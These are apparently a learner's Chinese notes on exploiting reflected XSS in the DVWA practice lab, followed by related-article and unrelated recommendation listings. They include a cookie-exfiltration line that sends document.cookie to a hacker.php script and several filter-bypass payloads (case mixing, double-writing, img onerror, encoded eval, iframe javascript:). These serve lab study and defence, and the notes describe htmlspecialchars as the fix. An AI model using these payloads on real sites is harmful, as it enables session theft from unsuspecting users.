前情提要:html的dom对象:document

如document.cookie  / document.write()

http://netsecurity.51cto.com/art/201311/417201.htm实战演示

1.判断是否有反射型XSS漏洞:

2.实践

http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html两个都给我看

img.src="http://localhost/xss/hacker.php?x=" + document.cookie;  //document.location:将页面的内容指定到指定位置

其实不写hacker.js文件也行,直接url里构造就好了

+document.cookie的+是连接符而已,其实是替代了空格、回车!!!(+号可以用%2b编码)

//PHPSESSID后的value可以直接双击修改

 @靶场实践DVWA-XSS(reflected)

教程http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html(更牛逼)

http://www.storysec.com/dvwa-xss-reflected.html(更更牛逼)

1.为啥在搜索框里输入<script>alert(/xss/)</script>不跳出弹窗?

(1)F12一下,html的<pre>标签把<>实体化了,所以输入</pre><script>alert(/xss/)</script><pre>,抵消掉原来的pre标签,弹窗就出来了

(2)<script>被过滤了:$name = str_replace( '<script>', '', $_GET[ 'name' ] );

法一:大小写绕过 </pre><SCriPt>alert(/xss/)</ScRipt><pre>

法二:双写绕过  ‘><sc<script>ript>alert("如果你能看到,说明攻击成功")</script>话说为什么要加'>啊?看另一个教程就没加'>,没有也可以跳出弹窗的说

str_replace()只过滤了一次<script>,外面的被拼接,真是妙不可言

(3)<script>被更厉害地被过滤了(正则)

preg_replace 函数使用正则表达式的搜索和替换,使得双写绕过、大小写混淆也无能为力了。
我们可以考虑通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
比如:</pre><img src=1 onerror=alert(/xss/)><pre>
   <a href='#' onclick=alert(/xss/)>test</a>
   <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>  

   <iframe onload=alert(1)>

   <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

(4)使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素

于是这下完全防御了XSS注入

& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 &apos;//生效需要加 ENT_QUOTES 参数
< (小于)成为 &lt;
> (大于)成为 &gt;

2.输入<Xtt>XSS,F12发现出现<xtt>XSS</xtt>标签,说明存在XSS漏洞

原理:事实上并没有<Xtt>这个标签,只是html的自动补全功能,还他喵的不分大小写

XSS-反射型的更多相关文章

  1. 代码审计中的XSS反射型漏洞

    XSS反射型漏洞 一 XSS漏洞总共分三总 XSS反射型漏洞,XSS保存型漏洞,基于DOM的XSS漏洞 这次主要分享XSS反射型漏洞 基本原理:就是通过给别人发送带有恶意脚本代码参数的URL,当URL ...

  2. DVWA之Reflected XSS(反射型XSS)

    目录 Low Medium High Impossible Low 源代码: <?php header ("X-XSS-Protection: 0"); // Is ther ...

  3. 解决反射型XSS漏洞攻击

    对于程序员来说安全防御,无非从两个方面考虑,要么前端要么后台. 一.首先从前端考虑过滤一些非法字符. 前端的主控js中,在<textarea> 输入框标签中,找到点击发送按钮后,追加到聊天 ...

  4. XSS分析及预防

    XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息 ...

  5. XSS 初识

    xss(跨站脚本攻击)xss是指攻击者在网页中嵌入客户端脚本,通常是javascript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将在用户的浏览器上被解析执行.重点是“脚本” ...

  6. Cross-site Scripting (XSS) 阅读笔记

    本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 通过阅读和翻译,并按照自己的理解,整理成如下文档. 概述 XSS ...

  7. XSS初体验

    主要内容 什么是XSS? XSS的危害有哪些? 常见的XSS漏洞 如何防范XSS?   什么是XSS? 跨站脚本攻击(Cross Site Scripting),是一种 Web 应用程序的漏洞,当来自 ...

  8. XSS分析及预防(转)

    阅读目录 XSS的种类和特点 XSS预防 总结 XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏 ...

  9. XSS Overview

    什么是XSS? 跨站脚本攻击(Cross Site Scripting):攻击者往Web页面里插入恶意脚本,当用户浏览该页面时,嵌入页面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的.恶意的内容通 ...

  10. XSS分析及如何预防

    XSS分析及如何预防 简单说明: XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开 ...

随机推荐

  1. POJ1059Glass Beads

    Once upon a time there was a famous actress. As you may expect, she played mostly Antique Comedies m ...

  2. HDU 2859—Phalanx(DP)

    Time Limit:5000MS     Memory Limit:32768KB     64bit IO Format:%I64d & %I64u Description Today i ...

  3. 拉格朗日插值法板子(dls)

    namespace polysum { ; ll a[D],f[D],g[D],p[D],p1[D],p2[D],b[D],h[D][],C[D]; ll calcn(int d,ll *a,ll n ...

  4. java 判断Map集合中包含指定的键名,则返回true,否则返回false。

    public static void main(String[] args) { Map map = new HashMap(); //定义Map对象 map.put("apple" ...

  5. 使用ElementUI创建项目

    从 0 开始搭建 element 项目 第一步,安装 Nodejs/NPM https://nodejs.org/zh-cn/download/ 下载安装即可! 第二步,安装 vue-cli 打开 c ...

  6. C++入门经典-例3.19-使用break跳出循环

    1:代码如下: // 3.19.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <iostream> usin ...

  7. python3笔记十三:python数据类型-Set集合

    一:学习内容 集合概念 集合创建 集合添加 集合插入 集合删除 集合访问 集合操作:并集.交集 二:集合概念 1.set:类似dict,是一组key的集合,不存储value 2.本质:无序和无重复元素 ...

  8. 【BZOJ 3709: [PA2014]Bohater】

    首先,这是我n久之前培训的时候老师讲的题目了,今天突然看到,那就讲讲吧. 首先,我们考虑怎么打怪... 显然,我们需要保证这个怪要尽可能的打死(就是尽量不被干死),并且保证尽可能的净获得血量大的在前面 ...

  9. java 深入HashTable

    在java中与有两个类都提供了一个多种用途的hashTable机制,他们都可以将可以key和value结合起来构成键值对通过put(key,value)方法保存起来,然后通过get(key)方法获取相 ...

  10. 线性回归和正则化(Regularization)

    python风控建模实战lendingClub(博主录制,包含大量回归建模脚本和和正则化解释,2K超清分辨率) https://study.163.com/course/courseMain.htm? ...